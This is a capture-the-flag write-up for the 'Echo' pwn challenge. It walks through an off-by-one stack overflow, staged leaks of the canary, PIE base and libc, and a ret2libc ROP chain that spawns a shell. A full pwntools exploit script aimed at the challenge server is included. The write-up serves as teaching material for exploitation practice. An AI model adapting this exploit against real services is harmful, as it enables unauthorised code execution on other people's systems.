Echo
`Echo` is a small remote pwn challenge:
Imported from srdnlenctf.
Echo
Challenge
Echo is a small remote pwn challenge:
nc echo.challs.srdnlen.it 1091
The binary is a 64-bit PIE ELF with the usual modern mitigations enabled:
- Full RELRO
- Stack canary
- NX
- PIE
- SHSTK / IBT
At first glance it looks harmless: read a line, print it back, repeat. The bug is in the custom input routine.
Binary Logic
Relevant decompilation:
void read_stdin(long param_1, byte param_2)
{
ssize_t sVar1;
byte local_9;
local_9 = 0;
while (true) {
if (param_2 < local_9) {
return;
}
sVar1 = read(0, (void *)(param_1 + (ulong)local_9), 1);
if ((sVar1 != 1) || (*(char *)(param_1 + (ulong)local_9) == '\n')) break;
local_9 = local_9 + 1;
}
*(undefined1 *)(param_1 + (ulong)local_9) = 0;
}
void echo(void)
{
char local_58[64];
undefined1 local_18;
memset(local_58, 0, 0x40);
local_18 = 0x40;
while (true) {
printf("echo ");
read_stdin(local_58, local_18);
if (local_58[0] == '\0') break;
puts(local_58);
}
}
The intended limit is param_2, but the function only stops when local_9 > param_2. That means it reads indices 0..param_2 inclusive.
For the initial call, local_18 = 0x40, so the program reads 65 bytes into a 64-byte buffer.
That gives a one-byte overwrite into the next local variable.
Root Cause
Inside echo() the stack looks like this:
rbp-0x50 .. rbp-0x11 : local_58[64]
rbp-0x10 : local_18
rbp-0x08 : stack canary
rbp+0x00 : saved rbp
rbp+0x08 : saved rip
Since local_18 sits immediately after local_58, the first overflow lets us change the next read length.
That turns a 1-byte overflow into a fully controlled staged stack leak / stack smash.
Exploitation Strategy
The key primitive is:
- Use the off-by-one to raise
local_18. - On the next loop, send exactly
local_18 + 1bytes with no newline. read_stdin()exits through theif (param_2 < local_9) return;path.- In that path, it does not append a NULL terminator.
puts(local_58)now prints past the buffer into adjacent stack data until it hits a zero byte.
This gives us controlled leaks.
Stage 1: Expand the Read Limit
On the first iteration the limit is 0x40, so we send:
"A" * 64 + "\x48"
The 65th byte overwrites local_18, changing the next limit from 0x40 to 0x48.
Now the next iteration can reach the canary.
Stage 2: Leak the Canary
With local_18 = 0x48, the function can read 73 bytes (offsets 0..72).
Offset 72 is the first byte of the canary, which is normally 0x00.
We send:
"A" * 64
+ "\x57" # new next limit
+ "A" * 7
+ "B"
Why this works:
- Byte
64overwriteslocal_18again, setting the next limit to0x57(87) - Bytes
65..71fill the gap up to the canary - Byte
72overwrites the canary’s leading NULL with0x42
Because we sent exactly 73 bytes and no newline, no NULL terminator is written. puts() prints:
- our marker byte
- the remaining 7 canary bytes
- whatever follows until a natural zero
We recover the canary by taking the 7 leaked bytes and prepending the known low NULL byte:
canary = u64(leak[:7].rjust(8, b"\x00"))
Stage 3: Leak PIE
Now the read limit is 87, so we can write offsets 0..87.
Offset 87 is the last byte before echo()’s saved return address. We do not need to overwrite RIP itself; we only need to ensure the string is unterminated so printing continues into the saved RIP.
We send:
"A" * 64
+ "\x77" # set next limit to 119
+ "A" * 22
+ "C"
This leaves the buffer unterminated and makes puts() continue into the saved RIP of echo(), which returns to:
main+0x59 == 0x1342
So:
echo_ret = u64(leak.ljust(8, b"\x00"))
pie_base = echo_ret - 0x1342
Stage 4: Leak libc
Next the limit is 119, so we can consume:
echo()’s locals- canary
- saved rbp
- saved RIP
- part of
main()’s frame
Using the same trick, we position a marker at offset 119, then let puts() continue into the return address left on the stack by the startup path (__libc_start_main related frame).
Payload:
"A" * 64
+ "\xff" # final large read for the ROP payload
+ "A" * 54
+ "D"
This yields a libc code pointer. On the target used during solving, the leak corresponds to:
libc_ret = libc_base + 0x2a1ca
So:
libc_base = libc_ret - 0x2a1ca
If the remote libc differs, this is the only constant that may need adjustment.
Stage 5: Final ROP
Now the read limit is 0xff, which is enough to fully overwrite the stack frame.
The last trick: echo() only exits the loop if local_58[0] == '\0'.
So the final payload starts with a NULL byte:
payload = b"\x00"
payload += b"A" * 71
payload += p64(canary)
payload += b"B" * 8
payload += p64(ret) # stack alignment
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)
This does two things at once:
local_58[0] == 0, so the loop breaks- when
echo()returns, execution lands in our ROP chain
The chain is the classic:
ret -> pop rdi ; ret -> "/bin/sh" -> system
Included Solve Script
The repository already contains a working exploit at solve.py.
Local:
python3 solve.py
Remote:
python3 solve.py REMOTE
The important constants used by the script are:
CANARY_OFFSET = 72ECHO_RET_OFFSET = 87MAIN_RET_OFFSET = 119ECHO_RET_ADDR = 0x1342LIBC_STACK_RET = 0x2a1ca
Full Exploit
from pwn import *
HOST = "echo.challs.srdnlen.it"
PORT = 1091
PROMPT = b"echo "
BUF_LEN = 64
CANARY_OFFSET = 72
ECHO_RET_OFFSET = 87
MAIN_RET_OFFSET = 119
ECHO_RET_ADDR = 0x1342
LIBC_STACK_RET = 0x2A1CA
elf = context.binary = ELF("./echo", checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
def start():
if args.REMOTE:
return remote(args.HOST or HOST, int(args.PORT or PORT))
return process([elf.path], stdin=PIPE, stdout=PIPE)
def leak_with_next_len(io, current_limit, next_limit, leak_offset, marker):
payload = b"A" * BUF_LEN
payload += p8(next_limit)
payload += b"A" * (leak_offset - (BUF_LEN + 1))
payload += p8(marker)
io.recvuntil(PROMPT)
io.send(payload)
io.recvuntil(p8(marker))
return io.recvuntil(b"\n", drop=True)
def main():
io = start()
io.recvuntil(PROMPT)
io.send(b"A" * BUF_LEN + p8(CANARY_OFFSET))
canary_tail = leak_with_next_len(
io, CANARY_OFFSET, ECHO_RET_OFFSET, CANARY_OFFSET, 0x42
)
canary = u64(canary_tail[:7].rjust(8, b"\x00"))
log.success(f"canary = {canary:#x}")
echo_ret_tail = leak_with_next_len(
io, ECHO_RET_OFFSET, MAIN_RET_OFFSET, ECHO_RET_OFFSET, 0x43
)
echo_ret = u64(echo_ret_tail.ljust(8, b"\x00"))
elf.address = echo_ret - ECHO_RET_ADDR
log.success(f"pie base = {elf.address:#x}")
libc_ret_tail = leak_with_next_len(
io, MAIN_RET_OFFSET, 0xFF, MAIN_RET_OFFSET, 0x44
)
libc_ret = u64(libc_ret_tail.ljust(8, b"\x00"))
libc.address = libc_ret - LIBC_STACK_RET
log.success(f"libc base = {libc.address:#x}")
rop = ROP(libc)
ret = rop.find_gadget(["ret"])[0]
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
bin_sh = next(libc.search(b"/bin/sh\x00"))
payload = b"\x00" + b"A" * (CANARY_OFFSET - 1)
payload += p64(canary)
payload += b"B" * 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(libc.sym.system)
io.recvuntil(PROMPT)
io.sendline(payload)
io.interactive()
if __name__ == "__main__":
main()
Takeaways
- A single off-by-one is enough if it hits a length field
- Printing unterminated stack data can be as useful as a direct format string bug
- Even with canary, PIE, NX, Full RELRO, and CET, a staged leak can still recover everything needed for a standard ret2libc
Note About the Reference
The requested reference page was not retrievable from this environment because the linked site returned a client-side app shell instead of the writeup content. I used a clean CTF writeup structure and the local exploit / binary analysis as the source of truth.